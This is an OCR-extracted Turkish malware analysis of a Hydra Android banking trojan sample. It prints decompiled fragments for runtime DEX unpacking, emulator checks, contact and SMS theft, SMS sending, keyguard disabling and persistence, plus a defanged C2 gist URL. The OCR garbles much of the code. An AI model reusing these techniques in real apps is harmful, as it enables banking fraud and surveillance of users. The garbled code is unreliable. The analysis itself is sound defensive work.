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Giris

Hydra zararlisi, Android cihazlari etkileyen bir Bankbot cesidi zararli yazilimdir. Ozellikle
Avrupa'ya yayilmis etkileyici bir banka ve finans kurumu listesini hedeflemektedir. Kurbanin
cihazina yerlestirildikten sonra birkac kritik izin istemektedir. ilk olarak, Android'in Erisilebilirlik
hizmetine erismek istemektedir. SMS'e erisme veya SMS génderme, arama yapma, kurbanin
kisi listesine mesaj gonderme vb. dahil olmak tizere eylemler gerceklestirebilir.

Hydra zararlisi, enfekte oldugu cihazdan veri sizdirmak icin yer paylasimi kullanir. Kot amacli
yazilimin dagitimi,ve cihaz lizerinde calistiracagi zararli ek dosyalarin temini icin Play Store
servislerini kullanmaktadir. Genellikle indirilen zararli uygulamalari PNG dosyasindan DEX
dosyasini ¢ikartarak C&C sunucusundan kot amacgh uygulamayi indirmektedir. Cihaz
uygunlugunu kontrol ettikten sonra zararli islemler baslatilmaktadir.
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Video_Oynatici.apk Dosya Analizi

Dosya
Adi

Video_Oynatici.apk

Dosya
Tiru

Apk Android Package

MD5

22c6380abela2ffob7d6f6d4baf252e2

SHA-1

4226fb895d2ea02c462a6aa4965991ef08a5412f

SHA-256

d0775b35bb8cb849d1049e9cea3d990f97bf09e908d19c93babce0c184bfab68

Zararh erisilebilirlik iznini kullanicidan alarak manifestosunda bulunan uygulama izinlerini

kullanici onayi gerekmeksizin almaktadir. Aldigi izinler dogrultusunda bir cok yetkiye sahip olan

zararli yazilim, kullanici bilgilerine eriserek hedef sunucuya aktarmaya calismaktadir.




Zararli yazihmin AndroidManifest.xml dosyasinda aldigi izinler goriilmektedir. Bu izinler
sayesinde cihaz hakkinda birgok bilgi elde etmekle birlikte zararl yazilim, erisilebilirlik iznini ilk
basta alarak AndroidManifest.xml dosyasindaki izinlere dogrudan yiiksek yetki almis olur.

<uses-sdk obfuscation:minSdkVersion="19" obfuscation:targetSdkVersion="24"/>

<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:
<uses-permission obfuscation:

name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="android.
name="androli
name="android.
name="android.
name="android.
name="android.
name="android.

permission.
permission.
permission.
permission.
permission.
permission.
permis
permission.
permission.
permission.
permission.
permission.
permission.

.
o
ion

>
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.permission.

permission.
permission.
permission.
permission.

permission.
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o

. WAKE

ACCESS_METWORK_STATE™/>
MODIFY_AUDIO_SETTINGS"/>
CHANGE_WIFI_STATE"/>
REORDER_TASKS"/>
RECEIVE_BOOT_COMPLETED" />
INTERNET"/>

_LOCK™/>
ACCESS_WIFI_STATE"/>
DISABLE_KEYGUARD"/>
SYSTEM_ALERT_WINDOW"/>
REQUE
CAPTURE_VIDEO_OUTPUT"/>
REQUEST_INSTALL_PACKAGES"/>
RECEIVE_SMS"/>
ACCESS_NOTIFICATION_POLICY"/
WRITE_EXTERNAL_STORAGE"/>
WRITE_SMS"/>

END_SMS"/>

5
READ_CONTACTS"/>

Sekil 1. Zararl yazilimin aldigi izinler

ST_IGNORE_BATTERY_OPTIMIZATIONS"/>



Activate accessibility services for the correct application work:
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Enjoy your new opportunities

Sekil 2. Erisilebilirlik izini Almak icin Tasarlanan Ara yiiz

Zararl yaziim ve manifest dosyasi incelendiginde, zararlinin packlanmis oldugu goriilmektedir.
Sekil 3’ te goriilen MainActivity, resource kisminda bulunmadigindan dolayi packlenmis
oldugu anlasiimaktadir.

45 <action obfuscation:name="android.app.action.DEVICE_ADMIN_ENABLED"/>

46 </intent-filter>
47 </receivers
48 <meta-data obfuscation:name="android.support.VERSION" obfuscation:value="26.1.8"/>

49 <receiver obfuscation:name="
58 <activity obfuscation:nan
51 <activity obfuscation:theme=
=2 sintant Filtars

m.cwnjcjeo.ghmvgio. core.injects_core.CHandler" />
m. jES.q“ﬂ'u'giS.hSt.E:1PSI1EITtS.£[’EEI1EE£t.S(ﬁh'ﬁ-’fﬁfa’f.‘.rfi' SR aTA e R AT it e h Lol Cal APl St ateti T st
b

yle/Theme. Translucent.NoTitleBar.Fullscreen” pbfuscation:name="com.cwnjcjec.ghmvgio.Mainactivity” o

Sekil 3. MainActivity

y
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' Uygulama gelistiricisi tarafindan paketli olarak sahaya strildigi icin zararh yazilimin unpack
{ islemini runtime aninda bir “DEX” dosyasi yikleyerek gerceklestirmesi gerekmektedir.

private static void a(Context context, File file, File file2, String str, String str2)

le> set = a;

r
L

onized (set) {

if (!set.contains(file))

set.add(file);

int r@ = Build.VERSION.SDK_INT;

if (ré > 28) {
StringBuil
sh.append(
sh.appendira);
sb.append(": SDK version higher than ");
sbh.append(28);
sh.
sh.

r

er sb = new StringBuilder();
ultiDex is not guaranteed to work in SDK version ");

uld be backed by runtime with built-in multidex capabilty but it's not the case here: java.:

m.getProperty("java.vm.version™));

sh. ;

1

J

try {
ClassLoader classLoader = context.getClassLoader();
if (classloader != null) {

try {
b(context);
; catch (Throwable th) {
1
File a2 = a(context, file2, str);
h hvar = new h(file, a2);
try {
try {
a(classLeader, a2, hVar.a(context, str2, false));
} catch (I0E ion e) {
a(classLoader, a2, hvar.a(context, str2, true));

ception e2) {

I
if (e != null) {
throw e;

1

}
} finally {

1
s

Sekil 4. getClassLoader()




Zararl yazilm “/data/data/com.cwnjcjeo.ghmvgio” konumunda code_cache adinda
bir klasér olusturmaktadir.

r

public final class b {
private static final Set<File> a = new HashSet();

r

private static File a(Context context, File file, String str) {

File file2 = new File(file, "code cache™);

try |
a(file2);

} catch (IOException e) {
file2 = new File({context.getFilesDir(), "code cache™);
ai(file2);

Tl =t

ile file3 = new File(filez, str);
a(file3);
return Tile3;

[——

Sekil 5. Klasér Olusturma

Bu klasoriin icerisinde secondary-dexes adinda yeni bir alt klasor olusturmakla beraber
olusturulan bu klasoriin icine yiritulebilir bir dalvik dosyasi "classes.dex" ve diger bazi
dosyalari eklemektedir.

public static void a(Context context) {

int r@ = Build.VERSION.SDK_INT;
if (re »>= 4) {
try {
ApplicationInfo c = c{context);
if (¢ != null) {
a(context, new File(c.sourceDir), new File(c.dataDir), "secondary-dexes”, "");
}
} catch (Exception e} {
throw new RuntimeException("MultiDex installation failed (" + e.getMessage() + ").");
}
} else {
throw new RuntimeException({"MultiDex installation failed. SDK ™ + r@ + " is unsupported. Min SDK version is " + 4 + ".")

Sekil 6. Alt klasér olusturma
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public static wvoid a(Context context)
int r@ = Build.VERSION.SDK_INT;
if (r@ >= 4] {

r
1

try {
ApplicationInfo ¢ =
if (¢ != null) {

a(context, new File(c.sourceDir), new File(c.dataDir),

c{context);

1
s

} catch (Exception e) {
throw new RuntimeException("MultiDex installation failed (

1
I
else |
throw new RuntimeException("MultiDex installation failed. SDK

+ ré +

Sekil 7. Versiyon Kontrolii

secondary-dexes™,

is unsupperted. Min SDK version is

Dinamik olarak incelendiginde, uygulamanin “r0” degiskeninin (Build.VERSION.SDK_INT) 4
veya daha biyik olmasi beklenmektedir. Asagida gorilen fonksiyonda, zararl yazihmin bir
versiyon kontrolli yaptigl gorilmektedir.

+ e.getMessage() + ").");

" womy

+4 4 ")

(int)pe Bx12CSA4ER int va
(int)wv3 4 int w3
(int)wve @x1s int ve

il =l (=

CODE : @@549AC8 public static woid com.xerox.xbox.b.a(

CODE : 88549AC8 android.content.Context p@)

CODE : @8549AC8 p@ = wid

1 Bes494C2 Wi,

BuildSWERSION_SDK_INT
loc_S49B46

wa, w3,

|
Sekil 8. r0 degiskeninin degeri

h sinifi incelendiginde secondary-dexes konumuna Multidex.lock dosyasinin eklendigi
gozlemlenmistir.

public h(File file, File file2)
StringBuilder sb = new St
sb.append( "MultiDexExtrac
sb.append(file.getPath());
sb.append(”, ");
sh.append(file2.getPath());
sb.append(l.t);
this.f = file;
this.h = file2;
this.g = b(file);

= new File(file2, "MultiDex.lock");
randomAccessFile = new Randomic

randomfccessFile;

try {
FileChannel channel =

randomAccessFile. getChannel();
this.j =
try {
StringBuilder sb2 = new StringBuilder();
sb2.append(“"Blocking on lock ");
sb2.append(file3.getPath());
this.k = channel.lock();
StringBuilder sb3 = new StringBuilder();
sb3.append(file3.getPath());
sb3.append(” locked"”);
} catch (IOExc ion | Errer | RuntimeException e2)
a(this.j
throw e2;

channel;

1
I

} catch (IOException
a(this.i);
throw e3;

4 r

Error | RuntimeException e3) {

Sekil 9. Multidex.lock

ile(file3, "ruw");

r

1
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private static void a(ZipFile
Inputstream inputStream

StringBuil,
sh.append(“Extracting ");
sh.append(createTempFile.getPath());
try {

Zararh yazilim classes.dex dosyasini ZIP dosyasi icine kaydetmektedir. Bu islemden sonra
unpack islemini tamamlamaktadir. classes.dex derleyici dosyasina ulasiimaktadir.

zipFile, ZipEntry zipEntry, File file, String str) {
zipFile.getInputStream(zipEntr
.createTempFile("tmp-" + str,

ingBuilder();

H

.zip", file.getParentFile());

createTempFile = Fi

er sh = new 5tr

ZipQutputStream zipOutputStream = new ZipOutputStream(new BufferedOutputStream(new FileQutputStream(createTempFile)));
try {
ZipEntry zipEntry2 = new ZipEntry("cla .dex");
zipEntry2.setTime(zipEntry.getTime());
zipQutputStream. putNextEntry(zipEntry2);
n.a(b, inputStream, zipOutputStream);
zipOutputStream.closeEntry();
} catch ( on e2) {
} catch (Throwable th) {
zipOutputStream.close();
throw th;
}
zipOutputStream.close();
if (createTempFile.setReadOnly()) {
StringBuilder sb2 = new gBuilder();
sb2.append(“Renaming t
sb2.append(file.getPath());
if (l!createTempFile.renameTo(file)) {
throw new IOException("Failed to rename \'" + createTempFile.getAbsolutePath() + "\" toc \"" + file.getAbsolutePath() + "\"");
'
return;
}
throw new IOE ion("Failed to mark readonly \"" + createTempFile.getAbsolutePath() + "\" (tmp of \"" + file.getAbsolutePath() + "\")");

} finally {
alinputstream);
createTempFile.delete();

1
i

> mComponentCallbacks
4 |mLoadedApk

mActivityThread
mAppDir
mApplication
mApplicationInfo
mBaseClassLoader
mClassLoader

mClientCount

mCredentialProtectedbatabi.

miataDir
mDataDirfFile

mbeviceProtectedDataDirFile

mbisplayAdjustments
mIncludeCode
mLibDir
moverlayDirs
mPackageName
mReceivers
mRegisterPackage
mResDir

mResources
msecurityviolation
mservices
mSharedLibraries
mSplitAppDirs
mSplitResDirs
mUnboundServices
mUnregisteredReceivers
shadow$_klass

shadow$_monitor_

{elementData=, size=@,modCount=8, shadowd_klass_=,shadow$_monitor_=BxBE585187)

{mActivityThread=,mAppDir="/data/app/com. cwnjcjeo.gqhmvgio-1/base.apk",mApplication=,mApplicationInfo=, mBaseClassLoader=null,mClassLoader=,mClientCount=8,mCredentialProtected..
{mActivities=,mAllApplications=,mAppThread=,mAvailThumbnailBitmap=null ,mBackupAgents=,mBoundApplication=,mCompatConfiguration=,mConfiguration=,mCoreSettings=,mCurDefaultDisp..
"/data/app/com.cwnjcjeo. ghmvgio-1/base.apk”
{mActivitylifecycleCallbacks=,missistCallbacks=null,mComponentCallbacks=,mLoadedApk=,mBase=,shadowd_klass_=,shadow$_meniter_-@x80B65821}

{backupAgentName=, classhame="com. cwnjcjeo. ghmvgio.App” , compatiblewidthLimitDp=@, credentialEncryptedDataDir="/data/user/@/com.cwnjcjeo. ghmvgio”, credentialProtectedDatabir="/d..
null

{pathList=,allocator=@xDDFB7CBALL, classTable=ex0DFB7C4@LL, packages=, parent=, proxyCache=, shadow$_klass_=,shadowd_monitor_=@x875CBEFB}

]

{path="/data/user/@/com.cunjcjeo.ghmvgie”, prefixlength=1, status=,shadow$_klass_=,shadow$_monitor_=8x879EF2BE}

"/data/user/@/com.cunjcjec. ghmygio”

{path="/data/user/8/com. cunjcjec. ghmvgio”, prefixlength=1,status=null,shadow$_klass_=,shadow$_monitor_=BxBA4FF26(}
{path="/data/user_de/@/com.cunjcjeo.ghmvgio”, prefixlength=1, status=,shadow$_klass_=,shadow$_menitor_=@x8BEF5@35}
{mCompatInfo=,mConfiguration=,shadow$_klass_=,shadow$_monitor =@x86D37CCA}

true

"/data/app/com.cwnjcjeo. ghmvgio-1/1ib/x86"

"com. cwnjcjec.ghmvgio”

{mArray=,mCollections=null,mHashes=,mIdentityHashCode=false,mSize=0, shadow$_klass_=,shadows_monitor_=8x857FC958}

false

"/data/app/com.cwnjcjeo. ghmvgio-1/base.apk”

{mIsObjectInited=true,mPackagelame="com.cwnjcjec.ghmvgio”, mReplacementsCache={"\0","\@","\@","\@","\@","\@","\@","\@","\@',"\@',"\@',"\a',"\@","\@',"\@","\a@',"\@',"\a", "\@',.
false

{mArray=,mCollections=null,mHashes=,mIdentityHashCode=false,mSize=0, shadow$_klass_=,shadows_monitor_=8x3E149896}

{mArray=,mCollections=null,mHashes=,mIdentityHashCode=false,m5ize=8,shadow$_klass_=,shadow$_menitor_=@x32322317}
{mArray=,mCollections=null,mHashes=,mIdentityHashCode=false,mSize=0, shadow$_klass_=,shadows_monitor_=8x38042304)

{accessFlags=0xB0@11,annotationType=null, classFlags=8,classloader=null, class5ize=0x225, clinitThreadId=@, compenentType=null, copiedMethods0f fset=0x28, dexCache=,dexCacheStrings..
@x4E37DE4A

Sekil 10. classes.dex
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Cihazin sanal makinede calisip calismadigini anlamak icin telefonun hardware 6zelliklerini,
ismini ve versiyon bilgilerini kontrol etmektedir.

try {
Locale locale = Lo
outputStream.write(s
object[] objArr = new
objArr[@] = e(};
if (g.a(1)) {
IOH

us;
.format(locale, "Basic Information: 'pid: ¥d/tid: ¥d/time: ¥s'\n", Integer.valuef(Process.myPid()), Integer.valueof(Fr
LN

.myTid()}), m()).getBytes("UTF-3

1
1
objarr[1] = 1;
objArr[2] = ()3
outputStream.write(s
} catch (Throwable th2

a(th2, outputStream);
)

%s/hardware: %

ing.format{locale, "Cpu Information: 'abi: %s/proces \n", objArr).getBytes("UTF-

h
try {

Locale locale2 = L
outputStream.write(S
outputStream.write( ("
object[] objArr2 = new
objArr2[8] = a(new Date(b));

=H

g.format(locale2, "Mobile Information: 'model
ild fingerprint: '" + Build.FINGERPRINT + "'\n").
[415

‘\n", Build.MODEL, Build.VERSION.RELEASE, Integer.valueOf(Build.VERSION.SDK_INT)).getBytes("UTF

objarr2[1] = .valueof(Runtire.getRuntime() .maxMemory());
objarr2[2] = g.d();
objArr2[3] = : g

outputstream.write .format(locale2, "Runtime Information: 'start: </ground: ¥s'\n", objArr2).getBytes("UTF
} catch (Throwable th3
a(th3, outputStream);
¥
try {
Locale localed = L ;
outputstream.write(s g.format(locale3, "application Information: 'version: ¥s/subversion: ¥s/buildseq: ¥s/versioncode: ¥d'\n", g.R(), g.S(), g.T(), Integer.valueOf(a.c(
String str5 = MobileIdentities.JSON_VALUE_NAMESPACE_AUDIENCE_UUID;

< /maxheap: ¥s/primaryabi:

String nativeGet = INIBridge.nativeGet(l, @, null);

strd = INIBridge.nativeGet(2, 8, null);

strs = nativeGet;
1 else {
strd = stré;

¥
outputStream.write(String. format(locale3, "CrashSOK Information: 'version: ¥s/nativeseq: %s/javaseq: %s/arch: ¥s/target: %s'\n", "3.2.8.4", strS, "210105150455", str4, "release”).getBytes("UTF-3"));

if (str != null) {

stré = str;

1

outputStream.write(("Report Name: " + stré.substring(stré.lastIndex0f(47) + 1) + "\n").getBytes("UTF-5"));
} catch (Throwsble tha) {

a(tha, outputStream);

Sekil 11. Hardware ézellikleri, isimleri ve versiyon bilgileri

Kendi araylizinde kullanacagi dili belirlemek icin sistem diline erismektedir.

x
FEZE
CODE : 83@69DEG
CODE:@8069DE6 loc_GODE6:
CODE : @@@69DE6 invoke-super {v4, v5}, <void Activity.onCreate(ref) imp. @ _def_Activity onCreate@vL>
CODE : ®@@69DEC invoke-virtual {va}, <ref MainActivity.getResources() imp. @ _def_MainActivity getResourcesfL:>
CODE : 8@@69DF2 move-result-ochject V5
CODE : #@869DF4 invoke-virtual {v5}, <ref Resources.getConfiguration() imp. @ _def_Resources_getConfigurationf@L>
CODE : 8@@69DFA move-result-ochject V5
CODE : @@@69DFC iget-object v5, v5, Configuration_locale
CODE: B@R69ERR invoke-virtual {v5}, <ref Locale.getlanguage() imp. @ _def_Locale_getlanguage(@L>
CODE : @@@69E@6 move-result-object V5
CODE: @8869E88 const v, @
CODE : 8@BR9EBE const this, 2
CODE:@e869E14 const p8, 8x77e6
CODE:@@@69E1A invoke-static/range {v7..p@}, <ref MainActivity.$(int, int, int) MainActivity $@LIII>
CODE : @@@69E28 move-result-object ve
CODE:@@0869E22 invoke-virtual {v5, v@}, <boolean String.equals(ref) imp. @ _def_String_equals@zZL>
CODE:@@869E28 move-result VS
CODE:@@069E2A if-eqz v5, loc_69E36
\J.IIL‘I'\.I'J AU L) T Ll w2
(String)vs "en” string V5

Sekil 12. Sistem dili
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Varsayilan zil sesini, bildirimleri ve ses ayarlarini aldiktan sonra bu ayarlarda degisiklik yaptig
gorilmektedir. Ayrica edindigi bildirim ayarlari bilgileri sayesinde, erisilebilirlik iznini almak igin
bir bildirim géndermektedir.

private NotificationManager a() {
if ((23 + 38) ¥ 38 <= 8) {

Dinamik olarak ¢ozimledigi

1

}
if ((3@ + 23) ¥ 23 <=8) {

1

}
if (Build.VERSION.SDK_INT < 26) {

return null;
}
NotificationManager

string $2 =
String 33 =
string 4 =

notificationManager = (MNotificationManager) this.a.getSystemService($(8, 12,

$(12, 25, 7559);
(25, 4@, 9912);
$(4@, 62, B475);

Uri defaultUri = RingtoneManager.getDefaultUri(2);
AudicAttributes build = new AudicAttributes.Builder().setContentType(4).setUsage(4).build();

NotificationChannel
notificationChannel

notificationChannel
notificationManager

notificaticnChannel = new MotificationChannel(%2, %3, 4);

.setDescription($4);
notificationChannel.
notificationChannel.
notificationChannel.
notificationChannel.
.setWibrationPattern(new long[]{le&, 2ee, 320, 480, 500, 408, 300, 200, 488});
.createNotificationChannel({notificationChannel);

setSound(defaultUri, build);
enableLights(true);
setlightColor(-65536);
enablevibration(true);

return notificatienManager;

public final class a {

Sekil 13. Zil sesi, bildirimler ve ses ayarlari

bazi stringler:

2494%);

public static final a = m.oal " EEEE;
public static final b = m.a("EEEEERERE";
public static final c = mal"EEEEERD";
public static final d = m.a("EENEEEEEEE R EEN RS MmILE N ETEE T ERIRET REE;
public static final e =m.al"");
1
MName Value Type Location
rin LW rin
String)wve " " Sstring v
MName Value Type Location
(String)ve "uawwsawch" string wa
Mame Value Type Location
(String)ve "hsstsec” String v
MName Value Type Location
(5tring)ve "t43nie4rjidetVUGDWVIHFTS23ry84367H1" String v

Sekil 14. Co6ziimlenen stringler




asagidadir.

Bu kisimda ¢ozliimlenen string ile bir GitHub adresine ulasiimaktadir. C6zimlenen baglanti

https://gist.githubusercontent[.]Jcom/raheemsterling444/ab254eca6a406ca073747b7b40e0

c5fd/raw/helloworld.json

CODE:000918F@ public static java.lang.String com.cwnjcjeo.ghmvgio.bot.e.b.b(

CODE :898918F0
CODE:880918F0 p@ = v6

java.lang.String pe)

CODE:@@@918F4 const
CODE:8B@918FA const
CODE:68891960 add-int
CODE: 92891984 rem-int
CODE:@@091908 if-gtz

v,
vi,
v,
va,
va,

Bx15

BxF

ve, vi
ve, vi
loc_91912

e =
(CODE:8889198C goto/32

loc_o1955|

il i =

CODE:@8891953
CODE:@8891958 loc_91958:
(CODE:@8891958 goto/32
(CODE:@6891958 Method End

loc_91912

'

FIEE]

CODE : 88091912
CODE:88891912 loc_91912:
CODE:68891912 const
CODE: 90091918 const
CODE:@@09191E add-int
CODE: 02091922 rem-int
CODE:00091926 if-gtz

va, ox11
vi, @x12

ve, v, vi
ve, v, vi
va, loc 91930

=]
CODE:@099192A goto/32

loc_o1as2|

}

Ml
CODE : 66691952
CODE:33A31952 loc 91952:

Watch view 1

Name Value

Name Value

pe " aHRBcHMELyInaXNALmdpdGh1YnVzZX1jb258ZW5@LmNbSIyVish1ZW1zd6VybGluZ zQBNCIhY T1NGVYTZhNDARY 2EwNzM3NDdiN2 I@MGLWY ZVmZC Oy YXcvaGVsb693b31sZC5qc29u™

pa "https://gist.githubusercontent. com/raheemsterling444/ab254ecabad@ocady3747b7b4aedc5Td/ raw/he llowor 1d. json”

Sekil 15. C6ziimlenen baglanti

public static String b(String str) {

if ({21 + 15) ¥ 15 <= @)

r
L

if ((17 + 18) ¥ 18 <= @) {

return new String(Base64.decode(str, 8));

Type
java.lang.String

Type
java.lang.string

¥

Sekil 16. Coziimlemeyi yapan algoritma



https://gist.githubusercontent[.]com/raheemsterling444/ab254eca6a406ca073747b7b40e0c5fd/raw/helloworld.json
https://gist.githubusercontent[.]com/raheemsterling444/ab254eca6a406ca073747b7b40e0c5fd/raw/helloworld.json
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internet hiz kontroli:

or.b J{ | (3 anet.channel.monitor.c ¢ |Qane‘t.channel.mni‘tor.d % | ® ane
- ¢ double
- o d boolean f package anet.channel.monitor;
‘e a() int 3 |/* compiled from: ViogNow */
: -@ a(double) bo 4 |public enum NetworkSpeed {
& b() boolean 5 Slow("FoMIEE", 1),
E| 0 INetwor‘kQuallt_\, 5 Fast("o&fsE", 5);
¢ ¢ onlletworkQua 7 . . .
G NetworkSpeed 8 pr:}vate F:}nal _I,t ing a;
9 private final int b;
-3 request o
- security 11 private NetworkSpeed(String str, int r4) {
- session 12 this.a = str;
H-H3 statist 13 this.b = r4;
7 A 1
[+-HF status jf i
i strategy 16 public static NetworkSpeed valueOfCode(int rl) {
- thread 17 return rl == 1 ? Slow : Fast;
- util 18 i
@ a
-G AccsSessionManage 2 public int E:?COSEE ) 1
@ AwcnConfig =t ,  return this.b;
L ]
#0 b .
H@& c 24 public String getDesc() {
=G Config 25 return this.a;
m@d Sl
17 [
+-& DataFrameCb =
H@e
B@f
@ e

Sekil 17. internet hiz kontrolii yapan fonksiyonlar

Zararh yazihm bu kisimda APl 20’de kullanimdan kaldirilmis durumda olan isScreenOn()
methodu ile cihaz aktifligini ve API seviye kontrollinii yapmaktadir.

public static boolean a(Context context) {

Context context2 = context;
if ((11 + 17) % 17 <= @) {
1

1
if ({12 + 26) ¥ 26 <= @) {

1
J

PowerManager powerManager = (PowerManager) context2.getSystemService($(@, 5, 7766));
return Build.VERSION.SDK_INT >= 21 ? powerManager.isInteractive() : powerManager.isScreenOn();

Sekil 18. Cihaz aktifligi ve API seviye kontrolii

Cihazin sistem ayarlarini kullanarak Wi-Fi durumunu kontrol etmektedir.

public static veoid a(Context context, boolean z) {
boolean z2 = z;
WifiManager wifiManager = (WifiManager) context.getApplicationContext().getSystemService($(31, 35, 5822));
if (wifiManager != null) {
wifiManager.setWifiEnabled(z2);

1
J

Sekil 19. Wi-Fi durumu
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Zararh yazihmin Manifest dosyasinda yer alan izinlerin alinmasi ile beraber telefon rehberini
okuma, veri, metin ve SMS génderme gibi islemleri ydnetmektedir.

private List<String> g() {
if ((1+ 25) % 25 <= @) {
N

¥
if ((19 + 3) % 3 <= @) {
1
}

Arraylist arraylist = new Arrayli

ContentResclver contentResolver = af).getContentResolver();
Cursor query = contentResolver.query(ContactsContract.Contacts.CONTENT URT, (String[]) nmull, (String) null, (String[]) null, (String) null);
if ({query != null ? query.getCount() : @) > @)
while (query != null 2& query.moveToNext()) {
String string = query.getString(query.getColumnIndex($(13, 16, 9841)));
query.getString(query.getColumnIndex($(16, 28, 214)
if (query.getInt(query.getColumnIndex($(28, 44, 5034))) > @) {
Cursor query2 = contentResolver.query(ContactsContract.CommonDatakinds.Phone.CONTENT_URT, (String[]) null, $(44, 58, 3257), new String[]{string}, (String) null};
while (query2.moveToNext()) {

arraylist.add(query2. getString(query2. getColumnIndex($(58, 63, 2638))));
1

}
query2.close(]);
1
¥
1
h
}
if (query != null) {
query.close();
)
return arraylist;
1
1

public void a(String str, String str2) {
String str3 = str;
String str4 = str2;
if ((14 + 17) ¥ 17 <= @) {
}
if ((31+7) %7 <=@a) {
}
try {
smsManager.getDefault().sendTextMessage(str3, (String) null, str4, (PendingIntent) null, (PendingIntent) null);
} catch (E i {
e.printstackTrace();

1
J

Sekil 20. Telefon rehberini okuma, veri, metin ve SMS génderme islemleri

Gegerli, kayith operatériin veya varsa yakindaki hiicrenin MCC’sinin (Mobil Ulke Kodu) I1SO-
3166-1 alpha-2 llke kodu esdegerini kontrol etmektedir.

public static String a(Context context) {
Context context2 = context;
if ((3 + 26) ¥ 26 <= 8) |
i
if ((29 + 12) ¥ 12 <= @) {

L
1
]
try {
string networkCountryIsc = ((TelephonyManager) context2.getSystemService(%(@, 5, 7165))).getNetworkCountryIsc();
if (TextUtils.isEmpty(networkCountryIso)) {
networkCountryIsc = context2.getResources().getConfiguration().locale.getCountry();
1
I
return networkCountryIso.tolowerCase();
} catch i i
e.printStackTrace();

return null;

}
private static String b(Centext context) {
try {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(§(5, 18, 7248));
if (la) {
if (telephonyManager
throw new Assert

1
I
1
return telephonyManager.getNetworkOperatoriame();
} catch (Ex {
e.printStackTrace();

return null;

Sekil 21. Ulke kodu esdeder kontrolii
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Zararli cagirdig1 paket icin “Rahatsiz Etme” ilkesini degistirebilme 6zelligini kontrol
{ etmektedir.

public static boolean a(Context context) {
Context context2 = context;
if ((38 +6) ¥ 6 <=8) {
1
if ((2 + 19) ¥ 19 <= @) {
1

}
if (Build.VERSION.SDK_INT >= 23 &% b != null &% !c.g{context2)) {

L

1
]
return true;

Sekil 22. Rahatsiz etme ilkesini degistirme

Mesajlari ve gonderen kisi bilgisini almaktadir.

public static Pair<String, String» b{Intent intent) {
String str;
Intent intent2 = intent;
if ((25 + 32) ¥ 32 <= @) {
1
]
if ((16 + 29) ¥ 29 <= 8) {

1
J

try {
StringBuilder sb = new StringBuilder();
if (Build.VERSION.SDK_INT = 19) {
str = null;
for (SmsMessage smsMessage : Telephony.Sms.Intents.getMessagesFromIntent(intent2)) {
if (str == null) {
str = smsMessage.getOriginatingﬁddress(@;
}
sb.append(smsMessage.getMessageBody () );
d.a(%(9, 25, 4872), str, smsMessage.getMessageBody());
}
} else {

str = null;
}
return new Pair<:(str, sh.toString());
} catch (Exception e) {
d.a(e, "", new Object[@]);
return null;

Sekil 23. Mesaj icerigi ve gonderen kisi bilgisi

return ((NotificaticnManager) context2.getSystemservice(%(9, 21, 2885))j.isNotificationPolicyAccessGranted[@;



,’

PDU olusturmaktadir.

(PDU(Protocol Data Unit): SMS gibi mobil aglar tizerinden aktarilan veriler igin kullanilir. Servis
merkezi, gidecek numara, karakter seti, gecerlilik siiresi ve yazilan mesaj ile ilgili bilgiler PDU'ya
kodlanir. Mobil telefonlarla SMS, PDU sayesinde gonderilir.)

public static Pair<String, String> c(Intent intent) {
string str;
Intent intent2 = intent;

if ((13 + 18) % 18 <= @) {
}.
if ((138 + 4) ¥ 4 <= 8) {

1
J

Bundle extras = intent2.getExtras();
if (extras != null) {
stringBuilder sb = new StringBuilder();
try {
Object[] ebjArr = (Cbhject[]) extras.get($(42, 46, 4347));
if {(objarr != null) {
str = null;
for (Object obj : objaArr) {
SmsMessage createFromPdu = SmsMessage.createFromPdu( (byte[]) obj);
if (str == null) {
str = createfFromPdu.getOriginatingaddress();

1

T
sb.append(createFromPdu. getMessageBody () );
d.a(%(46, 62, 2895), str, createFromPdu.getMessageBody());
+
} else {
str = null;
+
return new Pair<:>(str, sb.toString());
} catch (Exception e) {
d.af{e, """, new Object[8]);

1
1
return null;

Sekil 24. PDU olusturulmasi

Zararh yazilim, ekran kilidini iptal eder. Ardindan kendisi icin tekrardan ekran kilidi
olusturmakta ve telefon tus takimini kullaniciya engellemektedir. Bu teknik ile kendi erisimini
saglamaktadir. Ayrica verilen parametreler kontrol edildiginde ekranin strekli agik kalmasini
istedigi goralmustdr.

private void b(Context context) {

Context context2 = context;
if ({6 + 208) % 28 <= @) {

1

I

if ({13 + 14) ¥ 14 <= @) |
}

Window window = getWindow();
window.addFlags(4194384);
window.addFlags(524288);
window.addFlags(2897152);

try {
((KeyguardManager) context2.getSystemService(%(74, 82, 73))).newkeyguardlock(%(82, 96, 5271)).disablekeyguard();
PowerManager powerManager = (PowerManager) context2.getSystemService($(96, 181, 2169));
if (!b) {

if (powerManager == null) {
throw new AssertionError();
}
1
powerManager.newhWakelock (885386394, $(18l1, 111, 389@)).acquire(3@@0ea);
try {
Intent intent = new Intent(InjAccessibilityService.b);
intent.putExtra{$({111, 115, 1426), 665);
sendBroadcast(intent);
} catch (Exception e} {
e.printStackTrace();
1
F catch (Exception e2) {
e2.printStackTrace();
1,

!
Finishaffinity();

Sekil 25. newKeyguardLock()

y
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/ Belirtilen siire bittigi zaman tetiklenmesi icin ve cihazin gli¢ seviyesi diisiik olsa dahi calismasi
icin gerekli ayarlamalar yapmaktadir.

public static void b{Context context) {
Context context2 = context;
if ((27 + 8) ¥ 8 <= @) {
}
if ((22 + 16) ¥ 16 <= @) {

1
1

try {
Intent intent = new Intent({context?, PeriocdiclobReceiver.class);
intent.setAction($({14, 23, 5SB6L));
PendingIntent breadcast = PendingIntent.getBreoadcasti{context2, @, intent, 8);
AlarmManager alarmManager = (AlarmManager) context2.getSystemService($(23, 28, 8187));
if (alarmManager == null) {
throw new AssertionError();
1
1
long currentTimeMillis = System.currentTimeMillis() + 2@8e8;

if (Build.WVERSION.SDK_INT == 23) {

L
alarmManager.setExactandallowkhileIdle(®, currentTimeMillis, breadcast);

I else if (Build.VERSION.SDK_INT >= 12} |

alarmManager.setExact(®, currentTimeMillis, broadcast);
F else {
alarmManager.set(@, currentTimeMillis, broadcast);
1
